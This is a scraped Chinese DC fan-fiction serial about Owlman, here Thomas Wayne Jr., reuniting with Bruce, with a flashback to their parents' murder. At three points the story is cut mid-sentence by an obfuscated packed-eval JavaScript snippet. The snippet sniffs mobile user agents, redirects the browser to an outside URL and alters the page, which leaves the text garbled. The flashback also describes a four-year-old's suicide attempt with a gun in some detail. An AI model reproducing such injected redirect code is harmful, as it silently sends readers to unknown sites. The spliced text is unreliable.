《夜枭今天也在哥谭发疯吗》 1. 白月光回国(bushi) 夜晚的哥谭,猫头鹰在巡视自己的领土。 银色的披风割开夜幕,巨大的身影无声地划过,轻巧地落在路灯上,仿佛他真是一只骨骼中空的鸟儿。 夜枭歪头审视地面上的交易。 有人违反了他的规定,在他的土地上制造混乱。 两拨人,两个不知天高地厚的小帮派,正在违规交易重武器。 夜枭站起身,稍微发出一点金属碰撞的声音。 直到高大的身影遮蔽了月光,漆黑的影子覆盖了一个帮派成员,这群愚蠢的家伙才明白自己已经被夜行的鸟儿视为猎物。 几声绝望的惊叫,几次装了消音器的枪响后,哥谭的夜晚又重归死寂。 是的,死寂。 在这猫头鹰的统治下,没有猎物敢于发出自己的声音。 谁叫这种鸟儿听力异常灵敏,还有尖利的爪子? 天色渐亮,火红的朝阳重新占据了哥谭的天空。 而哥谭的地面上少了两个帮派……不过谁在乎?谁会在乎? - 托马斯·韦恩回到了自己的巢穴,卸下了战甲,只休息一小会儿便要赶回到韦恩庄园。 相较于韦恩庄园,这个别墅简直简陋得不像样子。明面上的布置品味庸俗而市侩,而最为要紧的暗室塞满了泛着寒光的高科技设备,更是毫无美学可言。 但它的主人显然并不在乎,这处别墅是托马斯从一个落魄了的猫头鹰法庭成员手里买来的,大小合适、远离人烟,还有密室,完美符合夜枭的需求。 托马斯手中没有这个世界阿尔弗雷德的把柄,平日里也不常回韦恩庄园,一个月大概只回去一两次。 今天是个例外。 布鲁斯·韦恩,也就是小托马斯在这个宇宙的哥哥,今天就要回到哥谭,而小托马斯要为他接风。 布鲁斯……布鲁斯·韦恩,小托马斯反复咀嚼这个名字。 托马斯曾经的弟弟,第一个死在他手上的无罪之人。 托马斯换上一身相当考究的英式西装,站在镜子前。 好几年了,自从布鲁斯离开哥谭起,两人便再没有见过面。 托马斯很熟练地给自己打了一个漂亮的温莎结。 看着镜子里的那张脸,他突然开始好奇布鲁斯现在的模样。 托马斯坐上准备好的座驾,在后排闭目养神。 我已经放开爪子,偏过脑袋,塞住耳孔……为什么你还要回来呢? 布鲁斯·韦恩。 我的兄长和弟弟。 - 托马斯下了车,迎接他的是韦恩家忠诚的管家阿尔弗雷德。 “看来我们今天不止要迎接周游世界归来的布鲁斯少爷,还有一位刚从英国回来的托马斯少爷——托马斯少爷,女王陛下近况如何?” 托马斯假装没有听懂阿尔弗雷德对他英式装束的称赞与久不回家的微小讽刺,只平淡地说:“很抱歉,我想我没有被女王陛下接见的殊荣,阿尔弗雷德。” 他解开西装外套的扣子,端正地坐在沙发上,处理带来的工作。 这个房子比平时多了个人,却比往日里更加寂静。 托马斯有这么一种能力,他就像是一个黑洞,能将周围的一切拉入死寂。 哥谭的人也像畏惧黑洞一样畏惧小托马斯·韦恩,哪怕一般人类一辈子也碰不到他,但他的存在本身似乎就非常让人不安 不过阿尔弗雷德显然不受干扰——当你给一个人换过尿不湿,这个人就很难让你畏惧。 哪怕小托马斯是一个世俗意义上的疯子、怪胎、反社会。 哪怕他曾暗中帮着小托马斯做了不少事。 两个人就这样安静地待在正厅。 也许人上了年纪就会热衷于追忆往昔,他的思绪像打翻了的水一样蔓延,逐渐向下流淌,回到了韦恩庄园最热闹的时候。 在阿尔弗雷德的记忆里,小托马斯与布鲁斯不同。他仿佛一出生就是二十多岁,不会哭闹、情感封闭、沉默寡言。 小托马斯总是在看,从不屑于伪装自己。 他甚至不愿意让自己的行为接近一个正常人。 自能够独自行动的时候起,小托马斯每天干得最多的事情就是看书,从手头的画册开始,到布鲁斯的教科书,甚至是报纸的边角、破碎的广告纸都能让他看上半天。 那双似乎看了太多太多东西的眼睛形状与布鲁斯很像,但布鲁斯的眼睛能让人联想到晴空与蓝宝石,小托马斯的眼睛却像是无风带的海水——平静,却致命。 这让老托马斯和玛莎头痛不已,他们甚至怀疑这个孩子是否有什么精神疾病。 幸好还有一个例外之人,那就是小托马斯的哥哥,布鲁斯。 很神奇,小托马斯似乎天然对布鲁斯抱有好感。只有布鲁斯能让他离开他的书,去阳光底下待着玩游戏,或者多说几个字,勉强成为一个“孩子”,也只有和布鲁斯待在一起,小托马斯才是个孩子。 不过哪怕在布鲁斯面前,小托马斯也不太喜欢玩游戏,于是他们总是聊天。 由布鲁斯主导的谈话大多富有童真,主要围绕一切孩子们感兴趣的话题(虽然没有用处,但布鲁斯会在讨论恶作剧和零食时尽量避开阿尔弗雷德,以免被阿尔弗雷德发现他干的“坏事”,比如在小托马斯的遮掩下偷吃了不少零食)。 而由小托马斯主导的话题,大多沉重而复杂,主要围绕伦理、哲学和死亡(从来不会避开任何人,小托马斯根本不会顾忌成年人脆弱的心脏和敏感的神经)。 阿尔弗雷德印象最深的是他旁听过的一次谈话,一次小小的谈话。 很难得,这次对话是由沉默寡言的小托马斯主动发起的。 阿尔弗雷德记得很清楚,那天的雨轻柔而绵密,将夹着草木香的土腥气卷进屋子。布鲁斯少爷被雨按在屋子里,有些不耐烦,翘着脚坐在沙发上,就坐在小托马斯身边,手里捧着书发呆。 而小托马斯少爷正专心致志地看托马斯老爷没看完的报纸,似乎看到了什么凶杀案的新闻,于是他放下了报纸,若有所思地问布鲁斯:“布鲁斯,你认为同态复仇(retaliation)是罪恶的吗?” “啊?什么东西?”布鲁斯从白日梦中惊醒,迷茫地反问他:“你说什么,汤米?联系(relation)?” 显然这个词对八岁的布鲁斯少爷来说很陌生。 但是四岁的小托马斯少爷显然清楚地明白这个词的意思,于是他向布鲁斯解释: “比如有人无缘无故地打我一下,打掉了我一颗牙,而我打了回去,也弄掉对方一颗牙,你认为我做得对吗?” “我想也许是对的?这听起来很公平。” 小托马斯点点头,接着看他的报纸。 又过了一会儿,小托马斯的声音飘进阿尔弗雷德的耳中:“如果是有人杀了我呢?有人杀了我,而我的父亲……”小托马斯似乎被这个词噎了一下,但他还是接着说,“我的父亲为了报复,杀了那个凶手的二儿子呢?” 布鲁斯似乎被难住了。 他磕磕绊绊地回答:“可是这似乎对那个二儿子不公平,我想可以杀掉凶手本人?但是杀人又是罪恶的……不管怎么样,杀人就是错的,我记得托马斯说过,我们不能让仇恨不断循环。” 布鲁斯努力地从脑海中刮出来父亲的教诲,再加上一点自己的理解,构成了一锅不严谨的思想大杂烩。 小托马斯就这样认真地听着。 显然,小托马斯这个时候还没意识到人命的重量——他的善恶观只受布鲁斯影响,而布鲁斯自己也只是个孩子。 一个孩子的善恶观完全屈从于另一个孩子……任何一个成熟而有智慧的人都能从中嗅出危险的意味。 于是阿尔弗雷德制止了这个危险的话题。 其实这次对话平平无奇,由小托马斯主导的对话不算多但也称不上少,比这次更加少儿不宜的也有好几次,但是只有这次谈话给阿尔弗雷德留下了深刻的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817846|175401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 印象。 因为就在这次谈话的第二天,发生了一起命案。 韦恩夫妇和杀害他们的凶手一起死了。 警察赶到的时候,小托马斯正盘腿坐在巷口的地上,无所事事地抬头看着夜空,脚边落着作为凶器的枪,而整个人被力气比他大的布鲁斯死死抱住。 根据警方的调查,韦恩夫妇被抢劫的混混意外射杀,凶手慌乱间丢下了凶器。 随后不知怎么回事,小托马斯,一个年仅四岁的孩子,捡起了那把枪,准确无误地射杀了正要逃跑的凶手。 事实上,就连阿尔弗雷德都不知道那条巷子里到底发生了什么事。布鲁斯少爷含糊其词,坚称歹徒是自杀的,小托马斯只不过是年纪太小,不懂得什么是死亡,所以不哭不闹;又好奇那把枪,于是走到歹徒的尸体边上,捡起了它,被害怕的自己重新拽回巷子…… 当然,这个谎话对八岁的孩子来足够严谨,可对于警方和阿尔弗雷德来说简直漏洞百出。 首先,歹徒不可能背后中枪自杀。 其次,他们甚至可以根据现场的痕迹,推断出小托马斯采用了标准的跪射姿势,并且在一枪击中歹徒后不知原因地又开了一枪,子弹击中了墙。 至于小托马斯……小托马斯本人完全拒绝沟通,只是冷淡地承认自己杀了人。 这起案件惊动了整个哥谭,无数人向这死去的韦恩夫妇与两个幸存的孩子倾泻恶意。 有人想从韦恩的家业上咬下一块肉,有人想从韦恩的故事里榨出一点血。 尤其是小托马斯·韦恩,他受到了最多的揣度。 那些没有良知的小报记者,没有道理地将小托马斯打为天生的坏种、杀人犯、恶魔,信誓旦旦地声称小托马斯已被恶灵附体,为了韦恩家族的财产而谋害了自己的亲生父母,随后嫁祸给无辜的路人,未来也一定会杀掉他最后的阻碍——布鲁斯少爷。 那段时间,阿尔弗雷德停掉了所有本该送入韦恩庄园的报纸。以防已经懂事的布鲁斯少爷和早熟的小托马斯少爷不小心看到了这些垃圾。 可无论他再怎么想给这两个孩子一个温暖的童年,一切也都已经回不来了。 布鲁斯少爷出现了心理问题,而小托马斯少爷也一如既往地沉默,甚至更糟——这件事之后,他甚至很少去找布鲁斯少爷说话,每天把自己关在房间里,不知道在干什么。 两人间的气氛越发冷淡,而布鲁斯终于下定决心离开。 临走前,布鲁斯少爷向这位这位忠诚的老管家坦白,全盘托出自己的计划,同时希望阿尔弗雷德能够替他秘密准备合适的装备(最好连小托马斯也一并瞒着)。更重要的则是要时刻留意小托马斯少爷的精神状态,最好让小托马斯再也碰不到枪支、毒药、炸弹、刀剑这些危险物品,远离天台……仿佛小托马斯少爷还是一个四岁小孩。 布鲁斯少爷要离开的前一天晚上,小托马斯少爷才知道这个消息。 他发了疯,这似乎是他这辈子情绪最外显的一次。他冲进布鲁斯少爷的房间,莫名其妙地大哭大笑,让布鲁斯少爷赶紧走,最好一辈子都别回哥谭。 这次显然很不和平的送行过后,布鲁斯少爷先一步离开庄园,他要变强,他想保护仅剩的家人,保护这座城市。 此后,小托马斯幽灵一样,无声无息地在韦恩庄园勉强住了几个月,便也离开了。他一个人搬进了韦恩家族的另一处宅邸。 成年后,小托马斯立刻攥紧了韦恩集团,凭借他优秀的才能、出众的战略眼光与天才般的科研水平,不断扩大韦恩家族的财富与权力。 不少人暗中揣测,这位小托马斯一定会把自己的兄长彻底赶出韦恩的权力核心。 可现在的哥谭,再没有人敢于挑战小托马斯的权威。 门外传来铃声。 托马斯站起身,走向门廊,将阿尔弗雷德的思绪唤回到现在。 那个哥谭的孩子最终还是回到了哥谭的怀抱。 欢迎回来,布鲁斯。 2. 我上网搜了 “抱歉,阿尔弗雷德。我有些事要做,耽误了一点时间……哦,托马斯。” 我的名字上面一定是粘了胶水,托马斯想。 不然为什么布鲁斯叫了我的名字就不说话了呢? 兄弟两人面对面站着,就像是在照镜子。 布鲁斯穿着一身白色的意式西装(不太可能是布鲁斯自己选的),用深色的领带打了个郁金香结(不太可能是布鲁斯自己系的),像是个放浪的纨绔子弟。 在阿尔弗雷德眼中,这两位韦恩对于“兄弟重逢”这一搭配主题都有自己的理解,并各有错误。 托马斯完全把这次家庭团聚当成重要商业场合对待了。哪怕是最严肃老派的英国绅士,也不会在非正式而温馨的家庭小聚的时候穿成这样,仿佛他只是一个职业经理人,而不是布鲁斯少爷的弟弟(说真的,阿尔弗雷德希望托马斯少爷放弃在今天提起那些财务报表的计划)。 布鲁斯的欧式穿着则过于轻浮,完全不符合阿尔弗雷德老派的英式胃口(虽然美式风格似乎更加糟糕,阿尔弗雷德庆幸布鲁斯少爷熟知小托马斯少爷严肃的性格,没有穿得像一个拉投资的美国大学生,不然这次家庭团聚就真变成“初创大学生会见赞助商”了)。 而在托马斯眼中,布鲁斯显然没有浪费这几年的光阴。他的身材壮硕了不少,显然受到了相当专业的、超出“富家子弟防身术”范畴的锻炼,这几年他似乎很好地享受了属于他的人生。 问问他这几年的经历?似乎是个合适的话题,应该可以聊上很久,打破两人之间尴尬的气氛。 但托马斯能说什么呢?他开不了口。 他知道自己现在如果开口说话,一定说不出来什么好话。 他只会发疯,让布鲁斯离开自己、离开庄园、离开哥谭,最好永远不要回来。 这里要烂了,所有东西都要烂了,而他托马斯绝对是其中最烂的一个。布鲁斯应该赶紧离开这个鬼地方,最好带上阿尔弗雷德一起,跑哪里去都好,总之离开哥谭。 但他说不出口。 而布鲁斯,不知道为什么,同样一言不发。 于是两人就沉默地相对而立,直到阿尔弗雷德不满地站在两人身侧。 - 阿尔弗雷德本来站得稍远,想为这对兄弟的重逢留出空间。没想到他们两个比哥谭的水滴兽还要沉默。 于是他不得不介入了。 他开口便是阴阳怪气: “布鲁斯少爷,我很荣幸向您引荐这位小托马斯·韦恩先生,他是一位非常老派的绅士,刚从皇室的宴会上离开。小托马斯少爷,我很荣幸向您介绍这位布鲁斯·韦恩先生,我想他一定刚享受完南意的阳光,就着急地赶回到无聊而阴暗的哥谭市——天呐,你们两位长得就像亲兄弟一样,真是太巧了,是不是?所以为什么不握握手呢?” 现在不说点什么已经不行了。 于是深谙托马斯“自闭”本性的布鲁斯率先开口:“托马斯,你的学业怎么样?” “我跳级了,布鲁斯。”托马斯移开视线,看向他的公文包:“我现在已经开始工作了。” “啊……在韦恩集团吗?” 阿尔弗雷德不满地深吸一口气。 布鲁斯飞快地加上那个单词:“汤米?” “当然,布鲁斯,我想我对这些工作比较上手。”托马斯转身坐回到沙发上,在公文包里翻来翻去:“你呢,想要在韦恩集团工作?或者有什么别的计划?” “我对韦恩集团不感兴趣。”布鲁斯坐在他身边,似乎有些好奇他在找什么。 “具体点呢,运动员?”托马斯抽出一张纸,看了一眼,“或者旅游博主?” 打算做蝙蝠侠,晚上不睡觉在外面打人,白天不干活在家里锻炼,没有假期,没有奖金,没有工资,还要冒生命危险。 但是这能告诉托马斯吗?必不可能。 于是他只好撒谎:“大概是就这样无所事事一辈子吧。” 他耸耸肩,仿佛一个油盐不进的草包。 “嗯,真好。”托马斯露出了少见的微笑,他翻找公文包的速度更快了。 他迅速地抽出来几张纸,一齐塞进布鲁斯手里:“你看看这些东西,如果有哪里不满意,我可以安排律师修改。” 阿尔弗雷德闭上眼睛。 完了,彻底完了。 小托马斯少爷为什么不能放弃那些该死的合同与报表呢? 我记得正常家庭的兄弟团聚,似乎不流行第一时间掏出一堆合同的吧。 布鲁斯敷衍地翻动这一打纸。 “我该看什么……哦!” 他抽出其中一张,仔细地看了一遍,然后泄愤似地把它撕了个粉碎。 托马斯的视线随着那些纸屑飘落,落在布鲁斯的腿上,落在沙发上,落在地上。 这些可怜的碎屑,让托马斯那个极寒地球上的雪。 托马斯长叹一口气。 “你把我的遗嘱撕了,我又要去找公证员了。” “你比我还要年轻四岁,怎么算也轮不到你先立遗嘱,托马斯。” 布鲁斯板着脸,似乎想把托马斯吓退。 “人人都该早立遗嘱。”托马斯依然十分平静,“我们永远不知道明天和意外哪个先来,而无良律师侵占遗产的案例太多了。” “不行,不行就是不行。我宁愿无良律师把那些钱挥霍一空。”布鲁斯把那几张烦人的纸丢到一旁,“别以为我不知道你在想些什么东西。我是你的哥哥,这世界上没有比我更了解你的人。” “那就算了。”托马斯无所谓有没有遗嘱,“我唯一的合法继承人是你,布鲁斯。没有遗嘱的情况下,你会得到我的全部遗产。在我死后,我希望你把我名下的所有不动产交给阿尔弗雷德,感谢他(托马斯向阿尔弗雷德点点头)这么多年如此包容我这个疯子;银行账户里百分之四十的钱赠予C·C·哈利与诺顿兄弟马戏团的理查德·约翰·格雷森先生,请顺便告诉他,我很喜欢他的表演,他为一个神经病带来了少有的快乐,让我从悲伤中短暂解脱。” 布鲁斯沉默地盯着他。 “我不。”他最后坚定地开口,“那些钱要是到了我的手里,我一定花个干干净净,一个子也不给他们留,托马斯。” 布鲁斯以为这样可以稍微“威胁到”托马斯,但他错了。 托马斯很高兴地看着他说:“那更好了,布鲁斯。” 毕竟托马斯认为这个世界上大概只有自私冷漠而愚蠢的家伙才能过得舒坦。 善良……善良的人是最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817847|175401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痛苦的,而托马斯只希望自己的血亲能快乐的活着。 布鲁斯泄了气:“你还记得我要求你干什么是不是?” “可我做不到,布鲁斯。”托马斯看着天花板,“我们无时无刻不在死亡,而也许下一个死亡的就是你面前的我。” 布鲁斯咬着嘴唇,似乎想要说点什么,幸好他忍住了。 他只是站起身,硬邦邦地说:“我上楼换身衣服。” 然后逃开了。 - “我很感动,我本来以为小托马斯少爷对我没什么感情。”阿尔弗雷德站在房间里,为布鲁斯整理他刚刚换下来的衣服,“现在看来那个孩子只是有些自闭,不知道如何表达。” “抱歉,阿尔弗雷德……我没有想要抢占你的钱的意思。”布鲁斯用手捂着脸,小声地说。 “哦,我知道你不会,你是个好孩子,布鲁斯少爷。”阿尔弗雷德耸肩,“而且我不在意那些钱,看到那孩子对我们两个的情感就让我足够高兴了——你知道,我一点也不缺钱。” 正当布鲁斯想对阿尔弗雷德说什么的时候,他的电话响了。 布鲁斯抓起手机看了一眼,然后把手机丢到床上。 “汤米走了,他说他有工作。” 布鲁斯看起来更沮丧了:“以后也不会常回来住。” “您不高兴?小托马斯少爷非常敏锐,如果您常驻韦恩庄园,不出三天,您的小秘密就会被挖出来。” “阿福,就算你激我,我也不会放弃的。” “哦,当然。我没指望我们可怜的小汤米能让布鲁斯少爷放弃他的伟大计划——可您至少应该和家人说实话吧,布鲁斯少爷。” 布鲁斯坐立不安:“不,阿尔弗雷德。” “为什么不行,布鲁斯少爷?我想小托马斯少爷肯定会为他伟大的哥哥而骄傲的。我不希望那孩子有一天听到自己血亲的……” 他没把那个词说出来,飞快地敲了敲木头做的柜子,接着说:“……才知道你在背后付出了多少,他会很伤心。” “不行阿尔弗雷德,不行就是不行。” 布鲁斯犯愁地捏了捏眉头:“如果有一天我真的出了意外……”(他在阿尔弗雷德不赞同的眼神中也敲了敲木头)“……也请你不要告诉他真相,好吗?” “我不明白。”阿尔弗雷德问:“为什么小托马斯少爷不能知道?他是您的弟弟。” 布鲁斯放下手,盯着地面,沉默半晌。 “托马斯要是知道我要在夜晚打击哥谭的罪犯,他会先我一步干出来一些相当极端的事情。” “我想他也许是病了……在他的眼里,除了你我之外的人命毫无意义——甚至包括他自己。” 阿尔弗雷德没有接话,只是沉默地听着。 布鲁斯叹了口气:“阿尔弗雷德,我是不是还没和你讲过那天的小巷里到底发生了什么。” “我想是的。”阿尔弗雷德为布鲁斯倒了一杯红茶,“您撒的谎可不够高明。” “谢谢你,阿尔弗雷德。” 他接过茶杯,用手指轻轻摩挲这个温暖而光滑的瓷器,看着自己在红茶杯里的倒影。 红色……红色…… “我还记得,那天……” 那天到处是血。 3. 感谢小托马斯和夜枭 枪击之前他在干什么,布鲁斯已经记不清了。 似乎前一秒他还和家人一同走在路上,兴冲冲地逗小托马斯玩,下一秒整个世界就在他眼前鲜血淋漓地炸开了。 他的父母倒在地上,血不断涌出来,和玛莎项链上散落的珍珠混在一起。 布鲁斯慌乱地试图捂住那几个可怖的伤口,可毫无用处。 血黏在他的手上,顺着他的指尖滴下。 生命与灵魂随着鲜血流逝。 而托马斯就蹲在布鲁斯身边,血溅了他一脸。 他似乎毫无知觉,就这么看着死去的父母。 然后不知从哪里掏出一个飞镖,趁着歹徒心神不定,打掉了那支枪。 歹徒吓了一跳,转身逃跑。 小托马斯连滚带爬地冲过去,捡起枪,顺势摆好姿势。 “呯!” 又是一声枪响。 小托马斯以奇怪的姿势跪在地上,一枪射杀的那个家伙,没有丝毫的犹豫。 然后他走到巷口,右手以扭曲的姿势死握着那把枪,看着天空发呆。 他的裤子被地面磨漏了,膝盖上磨掉一层皮,于是他盘腿坐在血泊里。 孩子的血、父母的血、凶手的血混在一起,让他像个血泼出来的人形。 布鲁斯觉得这时候的小托马斯仿佛故事书里的幽魂。 空洞、孤独、无法解读、无法预测。 布鲁斯不知道他要干什么,但他心里有某种不好的预感。 这种预感大概就像是一种毫无道理的预告——预告一切都会向最坏的一面坠落,就像是做坏事前就知道会被发现、面包掉落前就知道抹了黄油那一面会亲吻大地…… 于是布鲁斯跟在小托马斯身后。 小托马斯右手已经使不上力了,刚才甩飞镖那一下和枪的后坐力让他受了伤,他几次试图抬起右手都没能成功。 于是他用左手拿起那把枪,微微张开嘴,试图把枪口塞进嘴里。但不行,四岁孩子的嘴只能勉强塞下枪口,不能保证精准性和稳定性。 小托马斯采转而用了最常见的方法。 他换了一个握枪的姿势,用大拇指扣住扳机,用枪斜抵住自己的下颌。 枪口和皮肤之间的摩-擦力保证了枪的稳定性。 刹那间,布鲁斯明白他要做什么了。 再乖的美国孩子,也能从电视里面看到一点枪与死亡的画面。 于是他扑过去,从后面抱住了小托马斯。 小托马斯被吓了一跳,连忙将枪指向天空。 枪走火了,子弹打在墙上。 小托马斯持枪的手垂下来,试图从布鲁斯手底下挣脱出来,但他没成功。 “太危险了,布鲁西。”小托马斯冷静地说,“你不该在别人开枪的时候扑过来,如果我刚才没控制好枪,你会死。” 他太冷静了,和他平时提醒布鲁斯“不要偷吃太多冰淇淋,会肚子疼”一个语气。 在布鲁斯的记忆里,小托马斯永远都很冷静。 无论托马斯和玛莎如何逗他、阿尔弗雷德增加或者削减他的零食……他永远都很冷静。从不给家人添麻烦,甚至会给偷偷干“坏事”的布鲁斯打掩护。 布鲁斯以前爱这份冷静,将此视为自己弟弟的一个优点,总是在那些抱怨弟弟妹妹喜怒无常而惹人厌恶的同龄人面前炫耀。 而现在他恨这种冷静。 “你要干什么,汤米?” 布鲁斯一手抓着小托马斯的手,一手把枪抢走,丢到地上。 “你不用那么担心,布鲁斯,那把枪里面已经没有子弹了。” 布鲁斯没有说话,只是将他抱在怀里。 小托马斯接着说:“杀人是罪恶的,而我迟早会杀掉更多的人。” “我不管。”布鲁斯说,“那家伙死了活该,是他先杀的人。” “你不要为我找借口,布鲁斯。”小托马斯用脚将落在一边的飞镖弄回来,然后捡起飞镖塞进腰间,让它看上去像是一个装饰品。 “我知道我做的事情是错的,对方跑开后我再补枪是犯法的,你不要学。” 布鲁斯装做没听见,紧紧抱着小托马斯。 两人又沉默半晌。 “汤米,我好害怕,你不要走好不好?” “……我做不到,哪怕我不主动寻死,也一定会有意外发生,就是不知道死的是哪个我,而你面前的这个我大概只能活到三十多岁。” 布鲁斯听不懂,只知道小托马斯没有答应自己。 于是他又抱紧了一点,颤声说:“你也要离开吗?带着我一起吧,我们一起去找玛莎和托马斯……我们四个还在一起。” “好吧,我答应你,布鲁斯。只要你还需要我,我就不会主动离开。” “我可以相信你吗?” “当然可以,我从来没有骗过你,布鲁西。”小托马斯说,“直到你不需要我的那一天。” 两人就这样紧贴在一起。 直到姗姗来迟的警察把他们两个带到警局。 - “我收回您不擅长撒谎的评价,布鲁斯少爷。”阿尔弗雷德沉思,“用明显的谎言掩盖真正的秘密,您非常聪明。” “谢谢夸奖,阿尔弗雷德。”布鲁斯抿了一口茶,“你过得好吗?他这两年怎么样?哥谭怎么样?” 布鲁斯想绕过这个话题。他的弟弟身上的疑点像是家里的大象(好吧,其实以韦恩庄园的占地面积,就算真的有一头大象也不会很显眼),而布鲁斯决心对此视而不见。 对秘密视而不见,这对一个侦探来说很难,而对一个重视弟弟的哥哥来说就很容易。 阿尔弗雷德同样不打算刨根问底,于是他顺着布鲁斯的话回答。 “哦,我当然很好,布鲁斯少爷。”阿尔弗雷德说,“一个人‘享用’整座韦恩庄园,还要和可怜的卢修斯一起在小托马斯少爷的眼睛底下为您抠出钱和装备,这可真够难的。卢修斯差点因为做假账被小托马斯少爷送进监狱,我们只好谨慎地向他透露了您的要求——您不要这么看着我,我们只告诉他这是您的要求。不过我建议您小心,布鲁斯少爷。我推测这几天小托马斯少爷会带着账本让你一笔一笔核对福克斯先生到底有没有挪用韦恩集团的钱。” 听着就很累。 但是显然,托马斯真的能干出来这种事。 “你受累了,阿尔弗雷德。”布鲁斯灌了一口茶,假装自己很忙,“汤米总是非常细心。” “哦,顺便告诉您一个好消息。”阿尔弗雷德说,“小托马斯少爷现在已经可以与人正常沟通了,虽然我似乎没有真正走进他的内心,但我很高兴他迈出了这一步。” “太好了,阿尔弗雷德。”布鲁斯说,“看来他真的记住了他的承诺。” “至于哥谭……”阿尔弗雷德似乎不知道怎么说,“哥谭的势力在这几年大洗牌,很多老派的家族没落了,小托马斯少爷成功抓住了这个机会,扩大了韦恩的财富,而且也没有忘记托马斯老爷留下来的慈善事业——他是个有善心的好孩子。” 人越缺少什么,也就越强调什么,阿尔弗雷德的话有些欲盖弥彰。 显然小托马斯扩大财富的手段大抵有些激进,布鲁斯思索。 卢修斯真是受累了。 “不过有一点需要注意,布鲁斯少爷。”阿尔弗雷德严肃地说,“几年前,哥谭的夜晚多了一个危险人物,他自称夜枭。” “不知身份、不知年龄,几年前携带高科技装备,除掉了大量黑/道势力,要求整个哥谭宵禁。如果有帮派火并或者交易重武器,就会被他找上门处理。” “一个人?”布鲁斯皱眉,“哥谭的黑-帮比蟑螂还顽强,他怎么做到的?” “他炸掉了几个大帮派的武器库,又弄傻了几个老大,挑起帮派间的内斗和夺权,对着胜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817848|175401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 利者宣布他的宵禁命令,最后处理掉了几个违反宵禁的典型。” “……真是个疯子。” 哪怕阿尔弗雷德尽量平铺直叙,布鲁斯也可以轻易嗅到其中的火药味和血腥气。 这必然导致大规模的混乱和流血事件。但凡其中/出现一点意外,让事态升级,就会是一场疯狂的灾难,绝不是一个势力能够轻易处理的。 “他背后一定有什么倚仗。” 阿尔弗雷德手下动作一顿。 “这就是问题所在了,布鲁斯少爷。”阿尔弗雷德说,“有传言说,夜枭受韦恩集团赞助;也有人声称夜枭背靠猫头鹰法庭。两派的支持者各有证据和漏洞,谁也没能摸清楚夜枭的底细。” 这些话信息量太大了,布鲁斯思索了一会儿,最终决定挑听起来最危险也最要紧的事情提问。 “所以猫头鹰法庭果然存在?” “不,依然没人说得清它到底存不存在,所谓证据更像是捕风捉影,这派人的支持者主要是阴谋论者和恐怖故事集,他们的论据主要是夜枭穿了一身猫头鹰主题铠甲。” “不过也有好消息。关于小托马斯少爷赞助夜枭的传闻,”阿尔弗雷德尽量轻松地说,但他似乎被嗓子眼里的话噎了一下,“该派支持者主要是三流小报和韦恩集团的竞争对手,主要在宣扬您的弟弟和夜枭的桃色新闻。” 布鲁斯的表情像一只抓激光反被手电筒光抓住的猫。 好消息在哪?从哪里开始算好消息? “好消息是这两个流派半斤八两,主要是失败者造谣和小报博眼球。”阿尔弗雷德一眼就能看出来布鲁斯在想什么,“您应该不用考虑晚上揍的超反会不会是您弟弟的爱人。” - 哥谭人向来有一种野兽般的直觉,他们总会在无意中精准命中真相,这种力量可以用来求生,也就可以用来八卦。 猫法员工论最开始诞生于一个三流杂志的三流作者(九品作者)之手。他喝高了,不小心把两个都市传说的稿子塞在一起寄给了编辑,经由编辑润色而成为一篇伪装成纪实文学的小说。被哥谭的阴谋论者奉为圭臬并发扬壮大,催生出不少诡谲而有道理的分析文章。 目前该杂志已然脱销,甚至增设了一个叫做cowlumn的专栏,专门讲述猫头鹰阴谋论,并接受大众投稿。 这其实只是把猫头鹰的英文owl和专栏的英文column生硬地拼在一起。不过相当一部分阴谋论者似乎看不懂这种简单的幽默,将其视为猫头鹰统治哥谭的窗口,坚信该专栏的文章只要按照一定方法解读,就能破解哥谭经济动向和人事调动的秘密。 而韦恩包养论由几个被小托马斯挤占市场的小老板率先提出、由被夜枭收拾过的黑/帮成员发扬光大,他们和三流低俗小报一拍即合,纯粹是想给托马斯和夜枭添堵,却意外诞生了一个不小的市场,甚至有不少不明所以的外地人搅和进这场盛会。 其中谁受虐主要取决于近期托马斯和夜枭中的哪个更招人烦一些……但是总体来说还是托马斯受虐更多。 因为在夜枭的精耕细作之下,他的敌人已经没有几个会说话的了。而托马斯似乎更仁慈些,给了这些人进监狱继续文学创作的机会。 这就也许就是人善被人欺的本质吧。 回到正题,虽然这两派都极其不靠谱,且没有任何实质性证据,但在他们拼尽全力为哥谭死水一样的文娱环境注入新的活力的同时,也不小心成功命中了真相——虽然各自只有一半。 也就是说,夜枭不但拿了韦恩的钱、控制了黑/帮,还占领了哥谭的猫头鹰法庭,成为事实上的哥谭之主。 这很难,非常难,但他真的做到了。 要想知道他是怎么做到的,我们似乎需要往前看,把目光放远些……放到大约五十年前。 